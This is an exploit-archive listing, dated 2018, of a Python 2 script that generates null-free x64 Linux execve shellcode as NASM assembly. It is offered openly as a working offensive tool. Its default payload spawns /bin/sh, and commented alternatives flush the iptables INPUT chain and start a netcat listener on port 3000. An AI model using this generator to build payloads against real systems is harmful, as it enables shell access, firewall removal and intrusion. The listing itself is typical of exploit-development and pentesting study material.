Linux/x64 - x64 Assembly Shellcode (Generator)

Properties

Published:
12.04.2018
Target:
Linux/x64

Code

#!/usr/bin/env python
#
# Features:
#   - Linux shellcode x64 assembly code generation
#   - stack based (smaller payload size)
#   - execve based
#   - supports long commands (meaning bigger than an x64 register - 64 bits)
#   - supports long parameters (meaning bigger than an x64 register - 64 bits)
#   - one command only (execve will alter the current memory proc and when it exits there's no continuation)
#   - supports command with up to 8 parameters
#
# Instructions
#   - requires full path to the command
#   - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
#   - after having the x64 generated assembly code:
#       - copy paste it into a file (in a Linux environment) - example.nasm
#       - execute:
#           nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
#   https://pentesterslife.blog
#
########
 
command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"
 
def tohex(val, nbits):
    return hex((val + (1 << nbits)) % (1 << nbits))
 
code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"
 
params = command.split(' ')
try:
    params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
    pass
 
if len(params[0]) % 8 != 0:
    command = "/"*(8-len(params[0])%8) + params[0]
 
iters = len(command)/8 - 1
while iters >= 0:
    block = command[iters*8:iters*8+8]
    code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
    code += "push rbx\n"
    iters -= 1
 
code += "push rsp\n"
code += "pop rdi\n"
 
aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
    print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
    exit(1)
for p in params:
    code += "push rdx\n"
    if len(p) % 8 != 0:
        p += "\x00"*(8-len(p)%8)
    iters = len(p)/8 -1
    while iters >= 0: # each param
        block = p[iters*8:iters*8+8]
        code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
        code += "not rbx\n"
        code += "push rbx\n"
        iters -= 1
    code += "push rsp\n"
    code += "pop " + aux_regs[i] + "\n"
    i += 1
 
code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"
 
while i>0:
    i -= 1
    code += "push " + aux_regs[i] + "\n"
 
code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"
 
print code